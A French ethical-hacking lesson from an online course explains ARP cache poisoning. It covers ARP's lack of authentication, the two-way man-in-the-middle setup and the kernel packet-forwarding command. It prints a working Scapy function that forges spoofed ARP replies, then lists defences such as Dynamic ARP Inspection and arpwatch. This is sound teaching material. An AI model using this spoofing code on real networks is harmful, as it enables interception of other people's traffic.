Le Laboratoire Virtuel & Terminal Pratique est en ligne :

Ouvrir le Labo
Volume 5 : Analyse Réseau, Wireshark, tcpdump & Crafting Scapy/Module 2 : Attaques Man-in-the-Middle & Sécurité ARP

Attaque Man-in-the-Middle (MITM) : Empoisonnement ARP & Défense DAI

Labo Virtuel >_

Attaque Man-in-the-Middle : Empoisonnement de Table ARP & Contre-Mesures



Basé sur le Chapitre 5 de Python Hacking Éthique, ce cours décortique l'une des attaques de réseau local (LAN) les plus redoutables : l'usurpation d'adresses ARP (ARP Cache Poisoning / ARP Spoofing), permettant à un attaquant de positionner sa machine au milieu des communications chiffrées ou en clair.

---

1. La Vulnérabilité Intrinsèque du Protocole ARP (RFC 826)



Conçu au début des années 1980 pour des réseaux locaux de confiance, le protocole ARP souffre d'un défaut de conception majeur : il ne dispose d'aucun mécanisme d'authentification ou de signature cryptographique. * Tout hôte accepte des réponses ARP (Gratuitous ARP Reply - op=2) même s'il n'a jamais émis de requête ! * Lorsqu'une machine reçoit une réponse ARP affirmant qu'une IP est associée à une nouvelle adresse MAC, elle met immédiatement à jour sa table ARP locale sans vérification.

---

2. Mécanique de l'Attaque en Sablier (Man-in-the-Middle)



`` AVANT L'ATTAQUE (Flux Normal) : [ Victime (192.168.1.50) ] --------------------> [ Passerelle / Box (192.168.1.1) ] MAC: AA:AA:AA:AA:AA:AA MAC: GG:GG:GG:GG:GG:GG

------------------------------------------------------------------------------------

PENDANT L'ATTAQUE (Empoisonnement Bilatéral) : [ Victime (192.168.1.50) ] [ Passerelle / Box (192.168.1.1) ] Table ARP Victime : Table ARP Passerelle : 192.168.1.1 -> EE:EE:EE:EE:EE:EE 192.168.1.50 -> EE:EE:EE:EE:EE:EE \ / \ / v v [ ATTAQUANT KALI (192.168.1.100) ] MAC: EE:EE:EE:EE:EE:EE (sysctl net.ipv4.ip_forward = 1)
`

1. L'attaquant envoie en boucle des paquets ARP falsifiés à la Victime : « L'adresse IP 192.168.1.1 (la passerelle) est à mon adresse MAC EE:EE... ». 2. L'attaquant envoie en boucle des paquets ARP falsifiés à la Passerelle : « L'adresse IP 192.168.1.50 (la victime) est à mon adresse MAC EE:EE... ». 3. L'attaquant active le transfert de paquets sur son noyau Linux :
`bash sudo sysctl -w net.ipv4.ip_forward=1 ` Désormais, tout le trafic Web, DNS ou VoIP de la victime transite par la machine de l'attaquant avant d'être retransmis vers Internet sans interruption de service !

---

3. Implémentation du Script Python d'Audit ARP avec Scapy



`python from scapy.all import ARP, send, getmacbyip import time import sys

def forger_reponse_arp(ip_cible: str, ip_usurpee: str): """ Envoie un paquet ARP op=2 ('is-at') associant l'IP usurpée à notre propre MAC. """ mac_cible = getmacbyip(ip_cible) if not mac_cible: print(f"[!] Impossible de résoudre l'adresse MAC pour l'IP : {ip_cible}") return False paquet = ARP( op=2, # Réponse ARP pdst=ip_cible, # IP de la machine à tromper hwdst=mac_cible, # MAC physique de la cible psrc=ip_usurpee # IP dont on s'attribue l'identité ) send(paquet, verbose=False) return True

def restaurer_tables(ip_cible: str, ip_source: str): """Restaure l'état d'origine des tables ARP en envoyant les vraies adresses MAC.""" mac_cible = getmacbyip(ip_cible) mac_source = getmacbyip(ip_source) paquet = ARP(op=2, pdst=ip_cible, hwdst=mac_cible, psrc=ip_source, hwsrc=mac_source) send(paquet, count=5, verbose=False) print(f"[*] Tables ARP saines restaurées entre {ip_cible} et {ip_source}.")
`

---

4. Contre-Mesures & Défense en Entreprise



1. Dynamic ARP Inspection (DAI) : Fonctionnalité des commutateurs managés (Cisco, Juniper) qui inspecte chaque paquet ARP transitant sur les ports et compare l'association IP/MAC avec la base de données de confiance DHCP Snooping. Toute fausse réponse est instantanément rejetée au niveau du matériel ! 2. Tables ARP Statiques (
arp -s) : Définir de manière immuable l'adresse MAC de la passerelle par défaut sur les serveurs critiques pour empêcher toute modification dynamique. 3. Détection SOC : Un système de détection d'intrusions (ex: arpwatch`, Snort, Suricata) lève une alerte immédiate lorsqu'il observe un conflit : deux adresses IP différentes revendiquant la même adresse MAC.
Informations
Formatarticle
Durée55 min
StatutEn cours
Laboratoire Virtuel Pratique

Pratiquez cette le?on dans le Terminal Linux et l'ex?cuteur WebAssembly Python en direct.

Ouvrir dans le Labo >_